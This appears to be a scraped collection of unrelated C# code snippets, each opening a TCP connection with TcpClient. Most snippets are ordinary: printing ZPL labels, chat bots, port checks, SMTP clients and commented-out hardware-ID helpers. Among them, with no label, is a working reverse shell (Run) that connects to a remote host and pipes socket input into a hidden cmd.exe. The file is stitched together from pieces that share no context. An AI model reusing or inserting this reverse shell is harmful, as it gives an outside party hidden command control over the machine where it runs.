public void TryPrint(string zplCommands) { try { // Open connection System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient(); client.Connect(this.m_IPAddress, this.m_Port); // Write ZPL String to connection System.IO.StreamWriter writer = new System.IO.StreamWriter(client.GetStream()); writer.Write(zplCommands); writer.Flush(); // Close Connection writer.Close(); client.Close(); } catch (Exception ex) { this.m_ErrorCount += 1; if(this.m_ErrorCount < 10) { System.Threading.Thread.Sleep(5000); this.TryPrint(zplCommands); } else { throw ex; } } }
void ConnectionTask() { try { IsInConnectionTask=true; while (true) { client = new System.Net.Sockets.TcpClient(); try { Console.WriteLine("try to connect " + ip + ":" + port + " !"); client.Connect(ip, port); Console.WriteLine(ip + ":" + port + "connected! "); } catch (Exception ex) { Console.WriteLine(ip + ":" + port + " " + ex.Message); } if (client.Connected) { new System.Threading.Thread(ReceiveTask).Start(); return; } } } catch { ;} finally { IsInConnectionTask = false; } }
private void bt_delete_SM_Click(object sender, EventArgs e) { Variable.Tab_sec = Variable.Tab_default; //int sm_id=0; //sm_id = int.Parse(cb_sm_list.SelectedValue.ToString()); // MessageBox.Show("inside delete"); if (Variable.sm_id == "0") { MessageBox.Show("Need to select Security Manager Before Delete Operation"); } else { Data_send = "Admin_Delete_SM|" + Variable.gusername + "|" + Variable.sm_id; // MessageBox.Show(Data_send); try { clientSocket2.Connect(Variable.ipaddress, Variable.port); STR_W = new StreamWriter(clientSocket2.GetStream()); STR_R = new StreamReader(clientSocket2.GetStream()); STR_W.AutoFlush = true; if (clientSocket2.Connected) { STR_W.WriteLine(Data_send); string returndata; returndata = STR_R.ReadLine(); if (returndata == "Success") { MessageBox.Show("Selected Security manager has been deleted"); this.Hide(); //MessageBox.Show("User has been successfully Logout"); AdminHome form2 = new AdminHome(); form2.Closed += (s, args) => this.Close(); form2.Show(); } else { MessageBox.Show("Error in Operations"); } clientSocket2.Close(); } } catch (Exception e1) { MessageBox.Show(e1.ToString()); clientSocket2.Close(); } } }
System.Net.Sockets.TcpClient attemptConnection() { var t = new System.Net.Sockets.TcpClient(); try { if (isLocal) { t.Connect(new System.Net.IPEndPoint(_actualAddr, localDataPort)); } else { t.Connect(new System.Net.IPEndPoint(_actualAddr, externalDataPort)); } return(t); } catch { } try { if (isLocal) { for (int i = 0; i < internalAddress.Length; i++) { try { t.Connect(new System.Net.IPEndPoint(internalAddress[i], localDataPort)); return(t); } catch { } } } else { t.Connect(new System.Net.IPEndPoint(publicAddress, externalDataPort)); return(t); } } catch { } SystemLog.addEntry("Error reverse connecting to " + _actualAddr); return(null); }
private void button1_Click(object sender, System.EventArgs e) { Cliente = new System.Net.Sockets.TcpClient(); Cliente.Connect(textBox1.Text, 2020); Stream = Cliente.GetStream(); this.Text = "Conectado"; }
public static OpcWriter Create(IPEndPoint target) { var client = new System.Net.Sockets.TcpClient(); client.Connect(target.Address, target.Port); var stream = client.GetStream(); return new OpcWriter(stream, true); }
public static OpcWriter Create(string host, int port = DefaultPort) { var client = new System.Net.Sockets.TcpClient(); client.Connect(host, port); var stream = client.GetStream(); return new OpcWriter(stream, true); }
public static async Task <bool> PrintToZPLByIP(string printIP, string zplString) { int port = 9100; //6101 try { // Open connection System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient(); client.Connect(printIP, port); // Write ZPL String to connection System.IO.StreamWriter writer = new System.IO.StreamWriter(client.GetStream()); await writer.WriteAsync(zplString); writer.Flush(); // Close Connection writer.Close(); client.Close(); return(true); } catch { return(false); // Catch Exception } }
/// <summary> /// 连接某IP的端口 /// </summary> /// <param name="ip">要连接的ip</param> /// <param name="port">要连接的端口</param> /// <returns>连上返回true,否则false</returns> private bool IsConnet(string ip, int port) { bool tcpListen = false; bool udpListen = false;//设定端口状态标识位 System.Net.IPAddress myIpAddress = System.Net.IPAddress.Parse(ip); System.Net.IPEndPoint myIpEndPoint = new System.Net.IPEndPoint(myIpAddress, port); try { System.Net.Sockets.TcpClient tcpClient = new System.Net.Sockets.TcpClient(); tcpClient.Connect(myIpEndPoint);//对远程计算机的指定端口提出TCP连接请求 tcpListen = true; } catch { } try { System.Net.Sockets.UdpClient udpClient = new System.Net.Sockets.UdpClient(); udpClient.Connect(myIpEndPoint);//对远程计算机的指定端口提出UDP连接请求 udpListen = true; } catch { } if (tcpListen == false || udpListen == false) { return(false); } else { return(true); } }
public static Boolean Check_Connection(string Server_Address) { try { if (Server_Address != "") { System.Net.IPHostEntry objIPHost = new System.Net.IPHostEntry(); objIPHost = System.Net.Dns.Resolve(Server_Address); System.Net.IPAddress objAddress = default(System.Net.IPAddress); objAddress = objIPHost.AddressList[0]; System.Net.Sockets.TcpClient objTCP = new System.Net.Sockets.TcpClient(); objTCP.Connect(objAddress, 1433); objTCP.Close(); objTCP = null; objAddress = null; objIPHost = null; return(true); } else { return(false); } } catch { return(false); } }
public static string GetLocalIPv4() { string result = RunApp("route", "print", isTracing); System.Text.RegularExpressions.Match match = System.Text.RegularExpressions.Regex.Match(result, IPV4_REGX_EXPRESSION); if (match.Success) { return(match.Groups[2].Value); } else { try { System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient(); client.Connect(defConnDomain, 80); string ip = ((System.Net.IPEndPoint)client.Client.LocalEndPoint).Address.ToString(); client.Close(); return(ip); }catch (Exception e) { throw new NbsCommException(e.Message); } } }
private void TCPIP(String ZPLString) { string ipAddress = txtip.Text; // Printer IP Address and communication port int port = 9100; try { // Open connection System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient(); client.Connect(ipAddress, port); // Write ZPL String to connection System.IO.StreamWriter writer = new System.IO.StreamWriter(client.GetStream()); writer.Write(ZPLString); writer.Flush(); // Close Connection writer.Close(); client.Close(); } catch (Exception ex) { // Catch Exception } } //tcpip
public static void Main(string[] args) { Console.Write("Please Enter Operation Mode <Client|Server>: "); string modeName = ConsoleReadLine(); Guid fileShareServiceAnouncementType = Guid.Parse("d44568fe-2bbb-4e4b-8aa8-3fb07dc86178"); if (modeName == "Server") { System.Net.Sockets.TcpListener TL = new System.Net.Sockets.TcpListener(new System.Net.IPEndPoint(System.Net.IPAddress.Parse("0.0.0.0"), 28000)); TL.Start(); while (true) { HandleConnection(modeName, fileShareServiceAnouncementType, TL.AcceptTcpClient()); } } if (modeName == "Client") { System.Net.Sockets.TcpClient TC = null; TC = new System.Net.Sockets.TcpClient(); Console.Write("Please Enter Remote IP: "); TC.Connect(new System.Net.IPEndPoint(System.Net.IPAddress.Parse(ConsoleReadLine()), 28000)); HandleConnection(modeName, fileShareServiceAnouncementType, TC); } }
private async Task SendRequest(string request, Action <string> callback) { _client = new System.Net.Sockets.TcpClient(); _client.Connect(_ipAddress, _port); var startOffset = 2; var requestData = Encoding.UTF8.GetBytes(request); var size = BitConverter.GetBytes(requestData.Length); var header = new byte[startOffset]; var buffer = new byte[requestData.Length + size.Length + header.Length]; Array.Copy(header, 0, buffer, 0, header.Length); Array.Copy(size, 0, buffer, header.Length, size.Length); Array.Copy(requestData, 0, buffer, size.Length + header.Length, requestData.Length); var stream = _client.GetStream(); await stream.WriteAsync(buffer, 0, buffer.Length).ConfigureAwait(false); size = new byte[4]; await stream.ReadAsync(size, 0, size.Length).ConfigureAwait(false); var responseData = new byte[BitConverter.ToInt32(size, 0)]; await stream.ReadAsync(responseData, 0, responseData.Length).ConfigureAwait(false); stream.Close(); var responseJson = System.Text.Encoding.UTF8.GetString(responseData, 0, responseData.Length); callback?.Invoke(responseJson); }
public static string connect(String server,int port,String ouath) { System.Net.Sockets.TcpClient sock = new System.Net.Sockets.TcpClient (); sock.Connect (server, port); if (!sock.Connected) { Console.Write ("not working hoe"); } System.IO.TextWriter output; System.IO.TextReader input; output = new System.IO.StreamWriter (sock.GetStream ()); input = new System.IO.StreamReader (sock.GetStream ()); output.Write ( "PASS " + ouath + "\r\n" + "NICK " + "Sail338" + "\r\n" + "USER " + "Sail338" + "\r\n" + "JOIN " + "#sail338" + "" + "\r\n" ); output.Flush (); for (String rep = input.ReadLine ();; rep = input.ReadLine ()) { string[] splitted = rep.Split (':'); if (splitted.Length > 2) { string potentialVote = splitted [2]; if (Array.Exists (validVotes, vote => vote.Equals(potentialVote))) return potentialVote; } } }
///// <summary> ///// 操作系统的登录用户名 ///// </summary> ///// <returns>系统的登录用户名</returns> //public static string GetUserName() //{ // try // { // string strUserName = string.Empty; // ManagementClass mc = new ManagementClass("Win32_ComputerSystem"); // ManagementObjectCollection moc = mc.GetInstances(); // foreach (ManagementObject mo in moc) // { // strUserName = mo["UserName"].ToString(); // } // moc = null; // mc = null; // return strUserName; // } // catch // { // return "unknown"; // } //} ///// <summary> ///// 获取本机MAC地址 ///// </summary> ///// <returns>本机MAC地址</returns> //public static string GetMacAddress() //{ // try // { // string strMac = string.Empty; // ManagementClass mc = new ManagementClass("Win32_NetworkAdapterConfiguration"); // ManagementObjectCollection moc = mc.GetInstances(); // foreach (ManagementObject mo in moc) // { // if ((bool)mo["IPEnabled"] == true) // { // strMac = mo["MacAddress"].ToString(); // } // } // moc = null; // mc = null; // return strMac; // } // catch // { // return "unknown"; // } //} ///// <summary> ///// 获取本机的物理地址 ///// </summary> ///// <returns></returns> //public static string getMacAddr_Local() //{ // string madAddr = null; // try // { // ManagementClass mc = new ManagementClass("Win32_NetworkAdapterConfiguration"); // ManagementObjectCollection moc2 = mc.GetInstances(); // foreach (ManagementObject mo in moc2) // { // if (Convert.ToBoolean(mo["IPEnabled"]) == true) // { // madAddr = mo["MacAddress"].ToString(); // madAddr = madAddr.Replace(':', '-'); // } // mo.Dispose(); // } // if (madAddr == null) // { // return "unknown"; // } // else // { // return madAddr; // } // } // catch (Exception) // { // return "unknown"; // } //} ///// <summary> ///// 获取客户端内网IPv6地址 ///// </summary> ///// <returns>客户端内网IPv6地址</returns> //public static string GetClientLocalIPv6Address() //{ // string strLocalIP = string.Empty; // try // { // IPHostEntry ipHost = Dns.GetHostEntry(Dns.GetHostName()); // IPAddress ipAddress = ipHost.AddressList[0]; // strLocalIP = ipAddress.ToString(); // return strLocalIP; // } // catch // { // return "unknown"; // } //} ///// <summary> ///// 获取客户端内网IPv4地址 ///// </summary> ///// <returns>客户端内网IPv4地址</returns> //public static string GetClientLocalIPv4Address() //{ // string strLocalIP = string.Empty; // try // { // IPHostEntry ipHost = Dns.GetHostEntry(Dns.GetHostName()); // IPAddress ipAddress = ipHost.AddressList[0]; // strLocalIP = ipAddress.ToString(); // return strLocalIP; // } // catch // { // return "unknown"; // } //} ///// <summary> ///// 获取客户端内网IPv4地址集合 ///// </summary> ///// <returns>返回客户端内网IPv4地址集合</returns> //public static List<string> GetClientLocalIPv4AddressList() //{ // List<string> ipAddressList = new List<string>(); // try // { // IPHostEntry ipHost = Dns.GetHostEntry(Dns.GetHostName()); // foreach (IPAddress ipAddress in ipHost.AddressList) // { // if (!ipAddressList.Contains(ipAddress.ToString())) // { // ipAddressList.Add(ipAddress.ToString()); // } // } // } // catch // { // } // return ipAddressList; //} ///// <summary> ///// 获取客户端外网IP地址 ///// </summary> ///// <returns>客户端外网IP地址</returns> //public static string GetClientInternetIPAddress() //{ // string strInternetIPAddress = string.Empty; // try // { // using (WebClient webClient = new WebClient()) // { // strInternetIPAddress = webClient.DownloadString("http://www.coridc.com/ip"); // Regex r = new Regex("[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}"); // Match mth = r.Match(strInternetIPAddress); // if (!mth.Success) // { // strInternetIPAddress = GetClientInternetIPAddress2(); // mth = r.Match(strInternetIPAddress); // if (!mth.Success) // { // strInternetIPAddress = "unknown"; // } // } // return strInternetIPAddress; // } // } // catch // { // return "unknown"; // } //} ///// <summary> ///// 获取本机公网IP地址 ///// </summary> ///// <returns>本机公网IP地址</returns> //private static string GetClientInternetIPAddress2() //{ // string tempip = ""; // try // { // //http://iframe.ip138.com/ic.asp 返回的是:您的IP是:[220.231.17.99] 来自:北京市 光环新网 // WebRequest wr = WebRequest.Create("http://iframe.ip138.com/ic.asp"); // Stream s = wr.GetResponse().GetResponseStream(); // StreamReader sr = new StreamReader(s, Encoding.Default); // string all = sr.ReadToEnd(); //读取网站的数据 // int start = all.IndexOf("[") + 1; // int end = all.IndexOf("]", start); // tempip = all.Substring(start, end - start); // sr.Close(); // sr.Dispose(); // s.Close(); // s.Dispose(); // return tempip; // } // catch // { // return "unknown"; // } //} ///// <summary> ///// 获取硬盘序号 ///// </summary> ///// <returns>硬盘序号</returns> //public static string GetDiskID() //{ // try // { // string strDiskID = string.Empty; // ManagementClass mc = new ManagementClass("Win32_DiskDrive"); // ManagementObjectCollection moc = mc.GetInstances(); // foreach (ManagementObject mo in moc) // { // strDiskID = mo.Properties["Model"].Value.ToString(); // } // moc = null; // mc = null; // return strDiskID; // } // catch // { // return "unknown"; // } //} ///// <summary> ///// 获取CpuID ///// </summary> ///// <returns>CpuID</returns> //public static string GetCpuID() //{ // try // { // string strCpuID = string.Empty; // ManagementClass mc = new ManagementClass("Win32_Processor"); // ManagementObjectCollection moc = mc.GetInstances(); // foreach (ManagementObject mo in moc) // { // strCpuID = mo.Properties["ProcessorId"].Value.ToString(); // } // moc = null; // mc = null; // return strCpuID; // } // catch // { // return "unknown"; // } //} ///// <summary> ///// 获取操作系统类型 ///// </summary> ///// <returns>操作系统类型</returns> //public static string GetSystemType() //{ // try // { // string strSystemType = string.Empty; // ManagementClass mc = new ManagementClass("Win32_ComputerSystem"); // ManagementObjectCollection moc = mc.GetInstances(); // foreach (ManagementObject mo in moc) // { // strSystemType = mo["SystemType"].ToString(); // } // moc = null; // mc = null; // return strSystemType; // } // catch // { // return "unknown"; // } //} ///// <summary> ///// 获取操作系统名称 ///// </summary> ///// <returns>操作系统名称</returns> //public static string GetSystemName() //{ // try // { // string strSystemName = string.Empty; // ManagementObjectSearcher mos = new ManagementObjectSearcher("root\\CIMV2", "SELECT PartComponent FROM Win32_SystemOperatingSystem"); // foreach (ManagementObject mo in mos.Get()) // { // strSystemName = mo["PartComponent"].ToString(); // } // mos = new ManagementObjectSearcher("root\\CIMV2", "SELECT Caption FROM Win32_OperatingSystem"); // foreach (ManagementObject mo in mos.Get()) // { // strSystemName = mo["Caption"].ToString(); // } // return strSystemName; // } // catch // { // return "unknown"; // } //} ///// <summary> ///// 获取物理内存信息 ///// </summary> ///// <returns>物理内存信息</returns> //public static string GetTotalPhysicalMemory() //{ // try // { // string strTotalPhysicalMemory = string.Empty; // ManagementClass mc = new ManagementClass("Win32_ComputerSystem"); // ManagementObjectCollection moc = mc.GetInstances(); // foreach (ManagementObject mo in moc) // { // strTotalPhysicalMemory = mo["TotalPhysicalMemory"].ToString(); // } // moc = null; // mc = null; // return strTotalPhysicalMemory; // } // catch // { // return "unknown"; // } //} ///// <summary> ///// 获取主板id ///// </summary> ///// <returns></returns> //public static string GetMotherBoardID() //{ // try // { // ManagementClass mc = new ManagementClass("Win32_BaseBoard"); // ManagementObjectCollection moc = mc.GetInstances(); // string strID = null; // foreach (ManagementObject mo in moc) // { // strID = mo.Properties["SerialNumber"].Value.ToString(); // break; // } // return strID; // } // catch // { // return "unknown"; // } //} ///// <summary> ///// 获取公用桌面路径 ///// </summary> //public static string GetAllUsersDesktopFolderPath() //{ // RegistryKey folders; // folders = OpenRegistryPath(Registry.LocalMachine, @"/software/microsoft/windows/currentversion/explorer/shell folders"); // string desktopPath = folders.GetValue("Common Desktop").ToString(); // return desktopPath; //} ///// <summary> ///// 获取公用启动项路径 ///// </summary> //public static string GetAllUsersStartupFolderPath() //{ // RegistryKey folders; // folders = OpenRegistryPath(Registry.LocalMachine, @"/software/microsoft/windows/currentversion/explorer/shell folders"); // string Startup = folders.GetValue("Common Startup").ToString(); // return Startup; //} //private static RegistryKey OpenRegistryPath(RegistryKey root, string s) //{ // s = s.Remove(0, 1) + @"/"; // while (s.IndexOf(@"/") != -1) // { // root = root.OpenSubKey(s.Substring(0, s.IndexOf(@"/"))); // s = s.Remove(0, s.IndexOf(@"/") + 1); // } // return root; //} #endregion /// <summary> /// 获取当前使用的IP /// </summary> /// <returns></returns> public static string GetLocalIP() { string result = RunApp("route", "print", true); Match m = Regex.Match(result, @"0.0.0.0\s+0.0.0.0\s+(\d+.\d+.\d+.\d+)\s+(\d+.\d+.\d+.\d+)"); if (m.Success) { return(m.Groups[2].Value); } else { try { System.Net.Sockets.TcpClient c = new System.Net.Sockets.TcpClient(); c.Connect("www.baidu.com", 80); string ip = ((System.Net.IPEndPoint)c.Client.LocalEndPoint).Address.ToString(); c.Close(); return(ip); } catch (Exception) { return(null); } } }
public bool Start() { System.Net.IPAddress ipAdd = System.Net.IPAddress.Parse(this.ipString); if (objSck != null) { objSck.Close(); objSck = null; } objSck = new System.Net.Sockets.TcpClient(); // 小さいバッファを貯めない(遅延させない) objSck.NoDelay = true; try { objSck.Connect(ipAdd, port); } catch (Exception) { return(false); } //catch (Exception) //{ // throw; //} //NetworkStreamを取得 ns = objSck.GetStream(); ConnectResult = true; return(ConnectResult); }
public static void Run(string host, int port) { System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient(); client.SendTimeout = 50000000; client.ReceiveTimeout = 50000000; client.Connect(host, port); System.IO.Stream stream = client.GetStream(); System.IO.StreamReader streamReader = new System.IO.StreamReader(stream); streamWriter = new System.IO.StreamWriter(stream); System.Diagnostics.Process p = new System.Diagnostics.Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.Arguments = ""; p.StartInfo.CreateNoWindow = true; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardInput = true; p.StartInfo.RedirectStandardError = true; p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(OnOutputDataReceived); p.ErrorDataReceived += new System.Diagnostics.DataReceivedEventHandler(OnErrorDataReceived); p.Start(); p.BeginOutputReadLine(); p.BeginErrorReadLine(); while (true) { p.StandardInput.WriteLine(streamReader.ReadLine()); } }
private static bool Connect(string friendly) { try { client = new System.Net.Sockets.TcpClient(); TVServer.MPClient.Client mpclient = uWiMP.TVServer.MPClientDatabase.GetClient(friendly); if (mpclient.Hostname == string.Empty) { host = friendly; } else { host = mpclient.Hostname; } if (mpclient.Port == string.Empty) { port = DEFAULT_PORT; } else { port = Convert.ToInt32(mpclient.Port); } client.Connect(host, port); } catch (Exception ex) { return false; } return true; }
public void Start() { //Connect and configure streams. _tcpClient = new System.Net.Sockets.TcpClient(); _tcpClient.Connect(_serverHostname, _serverPort); _inputStream = new StreamReader(_tcpClient.GetStream()); _outputStream = new StreamWriter(_tcpClient.GetStream()); BufferCommand("PASS " + _password); BufferCommand("NICK " + _nickname); _outputStream.Flush(); //wait to be connected, join channels. if (_inputStream.ReadLine().Contains("001")) { foreach (TwitchChannel channel in _channels) { BufferCommand("JOIN #" + channel.Name); } _outputStream.Flush(); } //start control loop ControlLoop(); }
/// <summary> /// 获取一个可用的数据通道。(重要的:应该在不使用数据通道后调用“<see cref="Free"/>”方法将其归还给连接池或调用“<see cref="Close"/>”方法关闭对象并释放其占用的资源。) /// </summary> /// <param name="serverIP">服务器 IP。</param> /// <param name="serverPort">服务器通信端口。</param> /// <returns>一个可用的数据通道。</returns> public System.Net.Sockets.NetworkStream GetConnection(System.Net.IPAddress serverIP, int serverPort) { lock (this._TcpClientsLock) { foreach (var tmp in this.TcpClients) //尝试获取可重复使用的连接信息。 { if (tmp.IsFree && tmp.ServerIP.Equals(serverIP) && tmp.ServerPort == serverPort) { tmp.IsFree = false; return(tmp.NetworkStream); } } //如果找不到一个可以重用的连接信息则创建一个新的实例。 System.Net.Sockets.TcpClient tcp = new System.Net.Sockets.TcpClient(); tcp.Connect(serverIP, serverPort); System.Net.Sockets.NetworkStream ns = tcp.GetStream(); //ns.WriteByte(1); //int linkMark = ns.ReadByte(); //if (linkMark != 1) //{ //} this.TcpClients.Add(new TcpClientPoolEntity() { ServerIP = serverIP, ServerPort = serverPort, TcpClient = tcp, NetworkStream = ns, IsFree = false }); return(ns); } }
private object sendAndReceivedData(string adr, int port, byte[] donnees, int timeout) { System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient(); System.Net.Sockets.NetworkStream ns = null; try { client.Connect(adr, port); if (!client.Connected) { throw new Exception("Pas de connexion"); } client.SendTimeout = timeout; client.ReceiveTimeout = timeout; ns = client.GetStream(); ns.Write(donnees, 0, donnees.Length); byte[] data = new byte[client.ReceiveBufferSize]; return(ns.Read(data, 0, client.ReceiveBufferSize)); } catch { } finally { if (ns != null) { ns.Close(); } client.Close(); } return(null); }
public void TryPrint(string zplCommands) { try { // Open connection System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient(); client.Connect(this.m_IPAddress, this.m_Port); // Write ZPL String to connection System.IO.StreamWriter writer = new System.IO.StreamWriter(client.GetStream()); writer.Write(zplCommands); writer.Flush(); // Close Connection writer.Close(); client.Close(); } catch (Exception ex) { this.m_ErrorCount += 1; if (this.m_ErrorCount < 10) { System.Threading.Thread.Sleep(5000); this.TryPrint(zplCommands); } else { throw ex; } } }
/// <summary> /// /// </summary> /// <param name="host"></param> /// <param name="port"></param> /// <param name="timeout"></param> /// <param name="format"></param> /// <returns></returns> public static DomainResult PingDomain(String host, int port, int timeout = 12000, String format = "seconds") { System.Net.Sockets.TcpClient tcpClient = new System.Net.Sockets.TcpClient(); tcpClient.SendTimeout = timeout; double status; System.Net.NetworkInformation.PingReply reply = null; System.Net.NetworkInformation.PingException pingEx = null; try { double start = Tools.DateUtils.GetUnixTimestamp(DateTime.Now); tcpClient.Connect(host, port); double end = Tools.DateUtils.GetUnixTimestamp(DateTime.Now); status = (end - start) * 1000; status = Math.Floor(status); double tcpConnectLatency = format == "seconds" ? status * 0.001 : status; System.Net.NetworkInformation.Ping pingSender = new System.Net.NetworkInformation.Ping(); try { reply = pingSender.Send(host); } catch (System.Net.NetworkInformation.PingException pe) { pingEx = pe; } catch { } return(new DomainResult(tcpConnectLatency, reply, pingEx)); } catch { return(new DomainResult(-1, reply)); } }
// // // void sendzpl() { // Printer IP Address and communication port const string ipAddress = "192.168.2.216"; const int port = 9100; // ZPL Command(s) string ZPLString = "^XA^FO50,5^B3N,N,50,N,N^FD" + barcode + "^FS^FO50,70^ADN,28,20^FD" + barcode + "^FS^XZ"; try { // Open connection System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient(); client.Connect(ipAddress, port); // Write ZPL String to connection System.IO.StreamWriter writer = new System.IO.StreamWriter(client.GetStream()); writer.Write(ZPLString); writer.Flush(); // Close Connection writer.Close(); client.Close(); } catch (Exception ex) { MessageBox.Show(ex.Message, "Error"); // Catch Exception } }
private System.Net.Sockets.TcpClient TcpClientFactory() { var client = new System.Net.Sockets.TcpClient(); client.Connect(IPAddress.Loopback, 5000); return(client); }
private int SendToPrinter() { try { // Open connection System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient(); client.Connect(e.PrinterIpAddress, Port); // Write ZPL String to connection System.IO.StreamWriter writer = new System.IO.StreamWriter(client.GetStream()); writer.Write(e.PrintCode); writer.Flush(); // Close Connection writer.Close(); client.Close(); return(0); } catch (Exception ex) { if (Logger.Enabled) { Logger.Log(ex.ToString()); } return(3); } }
static void Main(string[] args) { // 접속할 socket을 만든다. System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient(); // 접속할 서버의 adress와 port를 설정하고 연결시도. // 127.0.0.1 은 localhost의 주소 client.Connect("127.0.0.1", 1001); // 버퍼 크기 설정 client.ReceiveBufferSize = 1024; client.SendBufferSize = 1024; byte[] buffer = new byte[1024]; // 데이터를 UTF8로 인코딩하여 접속 된 서버에 보내본다. client.Client.Send(System.Text.Encoding.UTF8.GetBytes("Abc<EOF>")); // 서버로부터 데이터를 받는다. client.Client.Receive(buffer); // 받은 데이터 UTF8로 인코딩 string으로 출력 Console.WriteLine(System.Text.Encoding.UTF8.GetString(buffer)); client.Client.Send(System.Text.Encoding.UTF8.GetBytes("test<EOF>")); client.Client.Send(System.Text.Encoding.UTF8.GetBytes("test<EOF>")); client.Client.Send(System.Text.Encoding.UTF8.GetBytes("test<EOF>")); client.Client.Send(System.Text.Encoding.UTF8.GetBytes("test<EOF>")); while (Console.ReadKey().Key != ConsoleKey.Escape) { ; } }
private void button_get_ip_Click(object sender, EventArgs e) { //获取IP地址 string result = ("route"); Match m = Regex.Match(result, @"0.0.0.0\s+0.0.0.0\s+(\d+.\d+.\d+.\d+)\s+(\d+.\d+.\d+.\d+)"); if (m.Success) { richTextBox_authinfo.Text = m.Groups[2].Value; } else { try { System.Net.Sockets.TcpClient c = new System.Net.Sockets.TcpClient(); c.Connect("www.baidu.com", 80); string ip = ((System.Net.IPEndPoint)c.Client.LocalEndPoint).Address.ToString(); c.Close(); textBox_ip.Text = ip; } catch (Exception) { textBox_ip.Text = "请检查网络连接"; } } }
public static string GetLocalIP() { string result = RunApp("route", "print", true); System.Text.RegularExpressions.Match match = System.Text.RegularExpressions.Regex.Match(result, @"0.0.0.0\s+0.0.0.0\s+(\d+.\d+.\d+.\d+)\s+(\d+.\d+.\d+.\d+)"); if (match.Success) { return(match.Groups[2].Value); } else { try { System.Net.Sockets.TcpClient cli = new System.Net.Sockets.TcpClient(); cli.Connect(conndomain, 80); string ip = ((System.Net.IPEndPoint)cli.Client.LocalEndPoint).Address.ToString(); cli.Close(); return(ip); } catch (Exception) { return(null); } } }
private string strConectaServidorSMTP() { string strRetorno = "OK", strMensagem; m_tcpClient = new System.Net.Sockets.TcpClient(); try { // Connecta ao servidor SMPT m_tcpClient.Connect(m_strSMTP, m_nPortSmpt); } catch { return("CErro: Servidor SMTP inválido ou Porta SMTP errada."); } // Conseguiu conexão, seta netStream, canal de comunicação m_netStream = m_tcpClient.GetStream(); if (m_netStream == null) { return("CErro: Não foi possível adquirir o canal de comunicação."); } // RESPOSTA strMensagem = strAdquireResposta(); if (strMensagem.Substring(0, 3) != "220") { if (m_tcpClient != null) { m_tcpClient.Close(); m_tcpClient = null; return("SErro: Problema ao receber informacoes do servidor."); } } return(strRetorno); }
public bool sendData(string adr, int port, byte[] donnees, int timeout) { System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient(); System.Net.Sockets.NetworkStream ns = null; try { client.Connect(adr, port); if (!client.Connected) { throw new Exception("Pas de connexion"); } client.SendTimeout = timeout; ns = client.GetStream(); ns.Write(donnees, 0, donnees.Length); return(true); } catch { } finally { if (ns != null) { ns.Close(); } client.Close(); } return(false); }
public void Open() { if (cln != null) { Close(true); } if (string.IsNullOrEmpty(mAddress)) { throw new MissingFieldException("Missing HostName"); } cln = new System.Net.Sockets.TcpClient(); Logger.LogMessage("OpenCom", "Open {0}", mAddress); if (GrblCore.WriteComLog) { log("com", string.Format("Open {0} {1}", mAddress, GetResetDiagnosticString())); } cln.Connect(IPHelper.Parse(mAddress)); Stream cst = cln.GetStream(); bwriter = new BinaryWriter(cst); sreader = new StreamReader(cst, Encoding.ASCII); swriter = new StreamWriter(cst, Encoding.ASCII); }
public static void Print(string line) { // Printer IP Address and communication port int port = 9100; var lineNumber = line.Substring(5, 2); // ZPL Command(s) string ZPLString = $"^XA^FO50,50^A0N60,60^FDLINE:^FS^FO80,110^A0N220,220^FD{lineNumber}^FS^XZ"; try { // Open connection System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient(); client.Connect(ipAddress, port); // Write ZPL String to connection System.IO.StreamWriter writer = new System.IO.StreamWriter(client.GetStream()); writer.Write(ZPLString); writer.Flush(); // Close Connection writer.Close(); client.Close(); } catch (Exception ex) { log.Error(ex); } }
private void printButton_Click(object sender, EventArgs e) { // Printer IP Address and communication port string ipAddress = printerIpText.Text; int port = 9100; try { // Open connection System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient(); client.Connect(ipAddress, port); // Write ZPL String to connection System.IO.StreamWriter writer = new System.IO.StreamWriter(client.GetStream()); writer.Write(zplCode); writer.Flush(); // Close Connection writer.Close(); client.Close(); MessageBox.Show("Print Successful!", "Success"); this.Close(); } catch (Exception ex) { Console.WriteLine("Error: {0}", ex); MessageBox.Show("No printer installed corresponds to the IP address given", "No response"); } }
public bool connect(System.String host, System.Int32 port) { bool error = false; this.init(); try { if (log.IsDebugEnabled) { log.Debug(System.String.Concat("Connecting to host: ", host, " port: ", port)); } client.Connect(host, port); } catch (System.ArgumentNullException e) { error = true; lastErrorMessage = "Please provide a valid hostname"; if (log.IsErrorEnabled) { log.Error(lastErrorMessage, e); } } catch (System.ArgumentOutOfRangeException e) { error = true; lastErrorMessage = "Please provide a valid port number"; if (log.IsErrorEnabled) { log.Error(lastErrorMessage, e); } } catch (System.Net.Sockets.SocketException e) { error = true; lastErrorMessage = "Error while trying to open socket"; if (log.IsErrorEnabled) { log.Error(lastErrorMessage, e); } } return(!error); }
public bool Start() { System.Net.IPAddress ipAdd = System.Net.IPAddress.Parse(this.ipString); if (objSck != null) { objSck.Close(); objSck = null; } objSck = new System.Net.Sockets.TcpClient(); try { objSck.Connect(ipAdd, port); } catch(Exception) { return false; } //catch (Exception) //{ // throw; //} //NetworkStreamを取得 ns = objSck.GetStream(); return true; }
public static void connect(string ip_addr, int port) { if (!client.Connected) { client.Connect(ip_addr, port); } }
public void connectClient(string ip, int port) { myip = ip; myport = port; xclient = new System.Net.Sockets.TcpClient(); System.Net.IPAddress addr = System.Net.IPAddress.Parse(ip); xclient.Connect(new System.Net.IPEndPoint(addr, port)); }
static void Main(string[] args) { CreateServerCode(); return; System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient(); client.Connect("210.245.121.245", 4530); Console.WriteLine("Ok"); }
